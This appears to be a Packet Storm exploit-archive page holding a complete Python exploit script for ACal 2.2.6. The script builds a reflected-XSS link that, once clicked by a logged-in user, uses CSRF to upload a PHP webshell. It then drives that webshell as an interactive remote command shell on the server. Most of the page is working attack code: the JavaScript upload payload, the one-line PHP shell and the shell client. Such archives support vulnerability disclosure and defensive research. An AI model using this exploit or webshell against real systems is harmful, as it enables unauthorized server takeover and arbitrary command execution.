exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ACal 2.2.6 Remote Code Execution

ACal 2.2.6 Remote Code Execution
Posted May 15, 2020
Authored by Bobby Cooke

ACal version 2.2.6 suffers from a one-click remote code execution vulnerability.

tags | exploit, remote, code execution
SHA-256 | b32ebcce27b52719f4cf51ee40137cc6d13cbab93a57f639a9f947d5d9d8ddf0

ACal 2.2.6 Remote Code Execution

Change Mirror Download
# Exploit Title: ACal v2.2.6 - 1-Click Remote Code Execution
# Exploit Author: Bobby Cooke
# Date: May 14th, 2020
# Vendor Homepage: http://acalproj.sourceforge.net/
# Software Link: http://prdownloads.sourceforge.net/acalproj/ACal-2.2.6.tar.gz?download
# Version: 2.2.6
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4 (the Hosting Webserver)
# Tested Against: Windows 10 1909 IE & Edge Browser (Client) & Linux Firefox 68.2.0esr
# Exploit Tested On: Python 2.7.17
# Vulnerability Description:
# ACal v2.2.6 suffers from multiple Vulnerabilities allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via an Authenticated User clicking a Maliciously Crafted URL Link; launching a Sophisticated Attack-Chain to fully compromise the server.
# Exploit Details:
# 1. When an Authenticated User clicks the maliciously crafted URL Link, the '/calendar.php' webpage is exploited using a Reflected Cross-Site Scripting (XSS) attack in the vulnerable 'year' parameter with a GET request.
# 2. The XSS script executes JavaScript code within the clients browser and "Rides" the authenticated session to perform a Cross-Site Request Forgery (CSRF) attack on the vulnerable 'insert_img.php' webpage.
# 3. Using an XMLHttpRequest, the JavaScript code dynamically generates & uploads a malicious PHP file to the Webserver with a malicious POST request.
# 4. After the Malicious PHP Webshell has been uploaded to the Webserver, the Exploit connects to the Webserver as an Unauthenticated User.
# 5. Once connected, the Exploit communicates with the PHP Webshell on the Webserver using the GET parameter 'cmd' to gain interactive Remote Code Execution (RCE) on the Webserver.

import requests, sys, urllib
from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def urlEncode(javascript):
return urllib.quote(javascript)

def webshell(WEBAPP_URL):
try:
WEB_SHELL = WEBAPP_URL+'uploads/webshell.php'
getdir = {'cmd': 'echo %CD%'}
r1 = requests.get(WEB_SHELL, params=getdir, verify=False)
status = r1.status_code
if status != 200:
print Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell. Have an Authenticated User visit the generated URL in their Browser and Relaunch."+Style.RESET_ALL
r1.raise_for_status()
print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
cwd = r1.text
cwd = cwd.replace('\n','> ')
term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
while True:
cmd = raw_input(term)
command = {'cmd': cmd}
r2 = requests.get(WEB_SHELL, params=command, verify=False)
status = r2.status_code
if status != 200:
r2.raise_for_status()
response2 = r2.text
print(response2)
except:
print("\r\nExiting.")
sys.exit(-1)

def genXhrPayload(WEBAPP_URL):
XHR_PAYLOAD = '<script>'
XHR_PAYLOAD += 'function read_body(xhr) { '
XHR_PAYLOAD += 'var data; '
XHR_PAYLOAD += 'if (!xhr.responseType || xhr.responseType === "text") { '
XHR_PAYLOAD += 'data = xhr.responseText; '
XHR_PAYLOAD += '} else if (xhr.responseType === "document") { '
XHR_PAYLOAD += 'data = xhr.responseXML; '
XHR_PAYLOAD += '} else if (xhr.responseType === "json") { '
XHR_PAYLOAD += 'data = xhr.responseJSON; '
XHR_PAYLOAD += '} else { '
XHR_PAYLOAD += 'data = xhr.response; '
XHR_PAYLOAD += '}; '
XHR_PAYLOAD += 'return data; '
XHR_PAYLOAD += '}; '
XHR_PAYLOAD += 'var xhr = new XMLHttpRequest(); '
XHR_PAYLOAD += 'xhr.onreadystatechange = function() { '
XHR_PAYLOAD += 'if (xhr.readyState == XMLHttpRequest.DONE) { '
XHR_PAYLOAD += 'console.log(read_body(xhr)); '
XHR_PAYLOAD += '}; '
XHR_PAYLOAD += '}; '
XHR_PAYLOAD += 'var fd = new FormData(); '
XHR_PAYLOAD += "var content = '<?php echo shell_exec($_GET[\"cmd\"]); ?>'; "
XHR_PAYLOAD += 'var blob = new Blob([content], { type: "application/x-php"}); '
XHR_PAYLOAD += 'fd.append("userfile", blob, "webshell.php"); '
XHR_PAYLOAD += 'fd.append("url", "http://"); '
XHR_PAYLOAD += 'console.log(fd); '
XHR_PAYLOAD += "xhr.open('POST', '"+WEBAPP_URL+"insert_img.php?upload=file', true); "
XHR_PAYLOAD += 'xhr.send(fd); '
XHR_PAYLOAD += '</script>'
return XHR_PAYLOAD

def formatHelp(STRING):
return Style.BRIGHT+Fore.RED+STRING+Fore.RESET

def header():
BL = Style.BRIGHT+Fore.GREEN
RS = Style.RESET_ALL
FR = Fore.RESET
SIG = BL+' /\\\n'+RS
SIG += Fore.YELLOW+'/vvvvvvvvvvvv '+BL+'\\'+FR+'--------------------------------------,\n'
SIG += Fore.YELLOW+'`^^^^^^^^^^^^'+BL+' /'+FR+'============'+Fore.RED+'BOKU'+FR+'====================="\n'
SIG += BL+' \/'+RS+'\n'
return SIG

if __name__ == "__main__":
print header();
if len(sys.argv) != 2:
print formatHelp("(+) Usage:\t python %s <WEBAPP_URL>" % sys.argv[0])
print formatHelp("(+) Example:\t python %s 'https://10.0.0.3:443/calendar/'" % sys.argv[0])
sys.exit(-1)
WEBAPP_URL = sys.argv[1]
CSRF_ATTACK = genXhrPayload(WEBAPP_URL)
ENCODED_PAYLOAD = urlEncode(CSRF_ATTACK)
print(Style.BRIGHT+Fore.BLUE+'[+] '+Fore.RESET+'To execute the '+Fore.RED+'Reflected XSS Session-Riding CSRF Attack'+Fore.RESET+', have an '+Fore.GREEN+'Authenticated User '+Fore.RESET+'visit '+Fore.CYAN+'this URL'+Fore.RESET+' in their '+Fore.BLUE+'Browser'+Fore.RESET+':')
print Fore.CYAN+WEBAPP_URL+'calendar.php?year='+ENCODED_PAYLOAD+'&month=05#'+Fore.RESET
webshell(WEBAPP_URL)
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close